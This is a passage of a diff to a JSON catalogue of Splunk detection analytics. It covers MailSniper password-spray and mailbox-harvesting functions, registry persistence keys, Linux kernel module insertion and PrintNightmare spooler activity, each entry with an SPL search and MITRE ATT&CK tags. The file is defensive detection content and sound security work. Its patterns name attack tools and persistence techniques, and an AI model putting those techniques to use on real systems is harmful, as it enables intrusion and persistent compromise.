\"*Invoke-GlobalMailSearch*\", \"*Invoke-SelfSearch*\", \"*Invoke-PasswordSprayOWA*\", \"*Invoke-PasswordSprayEWS*\",\"*Invoke-DomainHarvestOWA*\", \"*Invoke-UsernameHarvestOWA*\",\"*Invoke-OpenInboxFinder*\",\"*Invoke-InjectGEventAPI*\",\"*Invoke-InjectGEvent*\",\"*Invoke-SearchGmail*\", \"*Invoke-MonitorCredSniper*\", \"*Invoke-AddGmailRule*\",\"*Invoke-PasswordSprayEAS*\",\"*Invoke-UsernameHarvestEAS*\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `mailsniper_invoke_functions_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Potential mailsniper.ps1 functions executed on dest $dest$ by user $user$.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114.001", - "mitre_attack_technique": "Local Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "Chimera", - "Magic Hound" - ] - } - ] - } } ], "external_reference": [ @@ -168389,1286 +138892,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Active Setup Registry Autostart", - "description": "The following analytic detects suspicious modifications to the Active Setup registry for persistence and privilege escalation. It leverages data from the Endpoint.Registry data model, focusing on changes to the \"StubPath\" value within the \"SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\" path. This activity is significant as it is commonly used by malware, adware, and APTs to maintain persistence on compromised machines. If confirmed malicious, this could allow attackers to execute code upon system startup, potentially leading to further system compromise and unauthorized access.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_value_name= \"StubPath\" Registry.registry_path = \"*\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components*\") BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.dest Registry.user | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `active_setup_registry_autostart_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Windows Persistence Techniques", - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.014", - "mitre_attack_technique": "Active Setup", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux File Created In Kernel Driver Directory", - "description": "The following analytic detects the creation of files in the Linux kernel/driver directory. It leverages filesystem data to identify new files in this critical directory. This activity is significant because the kernel/driver directory is typically reserved for kernel modules, and unauthorized file creation here can indicate a rootkit installation. If confirmed malicious, this could allow an attacker to gain high-level privileges, potentially compromising the entire system by executing code at the kernel level.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*/kernel/drivers/*\") by Filesystem.dest Filesystem.file_name Filesystem.process_guid Filesystem.file_path | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `linux_file_created_in_kernel_driver_directory_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Linux Rootkit" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A file $file_name$ is created in $file_path$ on $dest$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.006", - "mitre_attack_technique": "Kernel Modules and Extensions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Insert Kernel Module Using Insmod Utility", - "description": "The following analytic detects the insertion of a Linux kernel module using the insmod utility. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include process names and command-line details. This activity is significant as it may indicate the installation of a rootkit or malicious kernel module, potentially allowing an attacker to gain elevated privileges and bypass security detections. If confirmed malicious, this could lead to unauthorized code execution, persistent access, and severe compromise of the affected system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN(\"kmod\", \"sudo\") AND Processes.process = *insmod* by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_insert_kernel_module_using_insmod_utility_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Linux Rootkit" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that may install kernel module on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.006", - "mitre_attack_technique": "Kernel Modules and Extensions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Install Kernel Module Using Modprobe Utility", - "description": "The following analytic detects the installation of a Linux kernel module using the modprobe utility. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because installing a kernel module can indicate an attempt to deploy a rootkit or other malicious kernel-level code, potentially leading to elevated privileges and bypassing security detections. If confirmed malicious, this could allow an attacker to gain persistent, high-level access to the system, compromising its integrity and security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN(\"kmod\", \"sudo\") AND Processes.process = *modprobe* by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_install_kernel_module_using_modprobe_utility_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Linux Rootkit" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that may install kernel module on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.006", - "mitre_attack_technique": "Kernel Modules and Extensions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Monitor Registry Keys for Print Monitors", - "description": "The following analytic detects modifications to the registry key `HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors`. It leverages data from the Endpoint.Registry data model, focusing on events where the registry path is modified. This activity is significant because attackers can exploit this registry key to load arbitrary .dll files, which will execute with elevated SYSTEM permissions and persist after a reboot. If confirmed malicious, this could allow attackers to maintain persistence, execute code with high privileges, and potentially compromise the entire system.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.action=modified AND Registry.registry_path=\"*CurrentControlSet\\\\Control\\\\Print\\\\Monitors*\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `monitor_registry_keys_for_print_monitors_filter`", - "tags": { - "analytic_story": [ - "Suspicious Windows Registry Activities", - "Windows Persistence Techniques", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "New print monitor added on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.010", - "mitre_attack_technique": "Port Monitors", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Print Processor Registry Autostart", - "description": "The following analytic detects suspicious modifications or new entries in the Print Processor registry path. It leverages registry activity data from the Endpoint data model to identify changes in the specified registry path. This activity is significant because the Print Processor registry is known to be exploited by APT groups like Turla for persistence and privilege escalation. If confirmed malicious, this could allow an attacker to execute a malicious DLL payload by restarting the spoolsv.exe process, leading to potential control over the compromised machine.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path =\"*\\\\Control\\\\Print\\\\Environments\\\\Windows x64\\\\Print Processors*\" by Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `drop_dm_object_name(Registry)` | `print_processor_registry_autostart_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Windows Persistence Techniques", - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "modified/added/deleted registry entry $Registry.registry_path$ in $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.012", - "mitre_attack_technique": "Print Processors", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Print Spooler Adding A Printer Driver", - "description": "The following analytic detects the addition of new printer drivers by monitoring Windows PrintService operational logs, specifically EventCode 316. This detection leverages log data to identify messages indicating the addition or update of printer drivers, such as \"kernelbase.dll\" and \"UNIDRV.DLL.\" This activity is significant as it may indicate exploitation attempts related to vulnerabilities like CVE-2021-34527 (PrintNightmare). If confirmed malicious, attackers could gain code execution or escalate privileges, potentially compromising the affected system. Immediate isolation and investigation of the endpoint are recommended.", - "search": "`printservice` EventCode=316 category = \"Adding a printer driver\" Message = \"*kernelbase.dll,*\" Message = \"*UNIDRV.DLL,*\" Message = \"*.DLL.*\" | stats count min(_time) as firstTime max(_time) as lastTime by OpCode EventCode ComputerName Message | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `print_spooler_adding_a_printer_driver_filter`", - "tags": { - "analytic_story": [ - "PrintNightmare CVE-2021-34527" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "ComputerName", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious print driver was loaded on endpoint $ComputerName$.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.012", - "mitre_attack_technique": "Print Processors", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Print Spooler Failed to Load a Plug-in", - "description": "The following analytic detects driver load errors in the Windows PrintService Admin logs, specifically identifying issues related to CVE-2021-34527 (PrintNightmare). It triggers on error messages indicating the print spooler failed to load a plug-in module, such as \"meterpreter.dll,\" with error code 0x45A. This detection method leverages specific event codes and error messages. This activity is significant as it may indicate an exploitation attempt of a known vulnerability. If confirmed malicious, an attacker could gain unauthorized code execution on the affected system, leading to potential system compromise.", - "search": "`printservice` ((ErrorCode=\"0x45A\" (EventCode=\"808\" OR EventCode=\"4909\")) OR (\"The print spooler failed to load a plug-in module\" OR \"\\\\drivers\\\\x64\\\\\")) | stats count min(_time) as firstTime max(_time) as lastTime by OpCode EventCode ComputerName Message | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `print_spooler_failed_to_load_a_plug_in_filter`", - "tags": { - "analytic_story": [ - "PrintNightmare CVE-2021-34527" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "ComputerName", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious printer spooler errors have occured on endpoint $ComputerName$ with EventCode $EventCode$.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.012", - "mitre_attack_technique": "Print Processors", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Registry Keys Used For Persistence", - "description": "The following analytic identifies modifications to registry keys commonly used for persistence mechanisms. It leverages data from endpoint detection sources like Sysmon or Carbon Black, focusing on specific registry paths known to initiate applications or services during system startup. This activity is significant as unauthorized changes to these keys can indicate attempts to maintain persistence or execute malicious actions upon system boot. If confirmed malicious, this could allow attackers to achieve persistent access, execute arbitrary code, or maintain control over compromised systems, posing a severe threat to system integrity and security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where (Registry.registry_path=*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce OR Registry.registry_path=*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\StartupApproved\\\\Run OR Registry.registry_path= \"*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders\\\\*\" OR Registry.registry_path= \"*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Shell Folders\\\\*\" OR Registry.registry_path=*\\\\currentversion\\\\run* OR Registry.registry_path=*\\\\currentVersion\\\\Windows\\\\Appinit_Dlls* OR Registry.registry_path=*\\\\CurrentVersion\\\\Winlogon\\\\Shell* OR Registry.registry_path=*\\\\CurrentVersion\\\\Winlogon\\\\Notify* OR Registry.registry_path=*\\\\CurrentVersion\\\\Winlogon\\\\Userinit* OR Registry.registry_path=*\\\\CurrentVersion\\\\Winlogon\\\\VmApplet* OR Registry.registry_path=*\\\\currentversion\\\\policies\\\\explorer\\\\run* OR Registry.registry_path=*\\\\currentversion\\\\runservices* OR Registry.registry_path=HKLM\\\\SOFTWARE\\\\Microsoft\\\\Netsh\\\\* OR Registry.registry_path= \"*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Shell Folders\\\\Common Startup\" OR Registry.registry_path= *\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\SharedTaskScheduler OR Registry.registry_path= *\\\\Classes\\\\htmlfile\\\\shell\\\\open\\\\command OR (Registry.registry_path=\"*Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options*\" AND Registry.registry_key_name=Debugger) OR (Registry.registry_path=\"*\\\\CurrentControlSet\\\\Control\\\\Lsa\" AND Registry.registry_key_name=\"Security Packages\") OR (Registry.registry_path=\"*\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\OSConfig\" AND Registry.registry_key_name=\"Security Packages\") OR (Registry.registry_path=\"*\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SilentProcessExit\\\\*\") OR (Registry.registry_path=\"*currentVersion\\\\Windows\" AND Registry.registry_key_name=\"Load\") OR (Registry.registry_path=\"*\\\\CurrentVersion\" AND Registry.registry_key_name=\"Svchost\") OR (Registry.registry_path=\"*\\\\CurrentControlSet\\Control\\Session Manager\"AND Registry.registry_key_name=\"BootExecute\") OR (Registry.registry_path=\"*\\\\Software\\\\Run\" AND Registry.registry_key_name=\"auto_update\")) by Registry.dest Registry.user Registry.registry_path Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.registry_key_name | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `registry_keys_used_for_persistence_filter`", - "tags": { - "analytic_story": [ - "Amadey", - "AsyncRAT", - "Azorult", - "BlackByte Ransomware", - "CISA AA23-347A", - "Chaos Ransomware", - "DHS Report TA18-074A", - "DarkGate Malware", - "Emotet Malware DHS Report TA18-201A", - "IcedID", - "NjRAT", - "Possible Backdoor Activity Associated With MUDCARP Espionage Campaigns", - "Qakbot", - "Ransomware", - "RedLine Stealer", - "Remcos", - "Snake Keylogger", - "Sneaky Active Directory Persistence Tricks", - "Suspicious MSHTA Activity", - "Suspicious Windows Registry Activities", - "Warzone RAT", - "Windows Persistence Techniques", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A registry activity in $registry_path$ related to persistence in host $dest$", - "risk_score": 76, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.001", - "mitre_attack_technique": "Registry Run Keys / Startup Folder", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT39", - "APT41", - "BRONZE BUTLER", - "Cobalt Group", - "Confucius", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "PROMETHIUM", - "Patchwork", - "Putter Panda", - "RTM", - "Rocke", - "Sidewinder", - "Silence", - "TA2541", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Spoolsv Spawning Rundll32", - "description": "The following analytic detects the spawning of `rundll32.exe` without command-line arguments by `spoolsv.exe`, which is unusual and potentially indicative of exploitation attempts like CVE-2021-34527 (PrintNightmare). This detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where `spoolsv.exe` is the parent process. This activity is significant as `spoolsv.exe` typically does not spawn other processes, and such behavior could indicate an active exploitation attempt. If confirmed malicious, this could allow an attacker to execute arbitrary code, escalate privileges, or maintain persistence on the compromised endpoint.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=spoolsv.exe `process_rundll32` by Processes.dest Processes.user Processes.parent_process_name Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `spoolsv_spawning_rundll32_filter`", - "tags": { - "analytic_story": [ - "PrintNightmare CVE-2021-34527" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "$parent_process_name$ has spawned $process_name$ on endpoint $dest$. This behavior is suspicious and related to PrintNightmare.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.012", - "mitre_attack_technique": "Print Processors", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Spoolsv Suspicious Loaded Modules", - "description": "The following analytic detects the suspicious loading of DLLs by spoolsv.exe, potentially indicating PrintNightmare exploitation. It leverages Sysmon EventCode 7 to identify instances where spoolsv.exe loads multiple DLLs from the Windows System32 spool drivers x64 directory. This activity is significant as it may signify an attacker exploiting the PrintNightmare vulnerability to execute arbitrary code. If confirmed malicious, this could lead to unauthorized code execution, privilege escalation, and persistent access within the environment, posing a severe security risk.", - "search": "`sysmon` EventCode=7 Image =\"*\\\\spoolsv.exe\" ImageLoaded=\"*\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\x64\\\\*\" ImageLoaded = \"*.dll\" | stats dc(ImageLoaded) as countImgloaded values(ImageLoaded) as ImageLoaded count min(_time) as firstTime max(_time) as lastTime by Image Computer ProcessId EventCode | rename Computer as dest | where countImgloaded >= 3 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `spoolsv_suspicious_loaded_modules_filter`", - "tags": { - "analytic_story": [ - "PrintNightmare CVE-2021-34527" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "$Image$ with process id $ProcessId$ has loaded a driver from $ImageLoaded$ on endpoint $dest$. This behavior is suspicious and related to PrintNightmare.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.012", - "mitre_attack_technique": "Print Processors", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Spoolsv Writing a DLL", - "description": "The following analytic detects `spoolsv.exe` writing a `.dll` file, which is unusual behavior and may indicate exploitation of vulnerabilities like CVE-2021-34527 (PrintNightmare). This detection leverages the Endpoint datamodel, specifically monitoring process and filesystem events to identify `.dll` file creation within the `\\spool\\drivers\\x64\\` path. This activity is significant as it may signify an attacker attempting to execute malicious code via the Print Spooler service. If confirmed malicious, this could lead to unauthorized code execution and potential system compromise. Immediate endpoint isolation and further investigation are recommended.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=spoolsv.exe by _time Processes.process_guid Processes.process_name Processes.dest | `drop_dm_object_name(Processes)` | join process_guid, _time [| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path=\"*\\\\spool\\\\drivers\\\\x64\\\\*\" Filesystem.file_name=\"*.dll\" by _time Filesystem.dest Filesystem.process_guid Filesystem.file_create_time Filesystem.file_name Filesystem.file_path | `drop_dm_object_name(Filesystem)` | fields _time dest file_create_time file_name file_path process_name process_path process_guid process] | dedup file_create_time | table dest file_create_time, file_name, file_path, process_name process_guid | `spoolsv_writing_a_dll_filter`", - "tags": { - "analytic_story": [ - "PrintNightmare CVE-2021-34527" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "$process_name$ has been identified writing dll's to $file_path$ on endpoint $dest$. This behavior is suspicious and related to PrintNightmare.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.012", - "mitre_attack_technique": "Print Processors", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Spoolsv Writing a DLL - Sysmon", - "description": "The following analytic detects `spoolsv.exe` writing a `.dll` file, which is unusual behavior and may indicate exploitation of vulnerabilities like CVE-2021-34527 (PrintNightmare). This detection leverages Sysmon Event ID 11 to monitor file creation events in the `\\spool\\drivers\\x64\\` directory. This activity is significant because `spoolsv.exe` typically does not write DLL files, and such behavior could signify an ongoing attack. If confirmed malicious, this could allow an attacker to execute arbitrary code, escalate privileges, or maintain persistence on the compromised system.", - "search": "`sysmon` EventID=11 process_name=spoolsv.exe file_path=\"*\\\\spool\\\\drivers\\\\x64\\\\*\" file_name=*.dll | stats count min(_time) as firstTime max(_time) as lastTime by dest, UserID, process_name, file_path, file_name, TargetFilename, process_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `spoolsv_writing_a_dll___sysmon_filter`", - "tags": { - "analytic_story": [ - "PrintNightmare CVE-2021-34527" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - }, - { - "name": "file_name", - "type": "File", - "role": [ - "Attacker" - ] - } - ], - "message": "$process_name$ has been identified writing dll's to $file_path$ on endpoint $dest$. This behavior is suspicious and related to PrintNightmare.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.012", 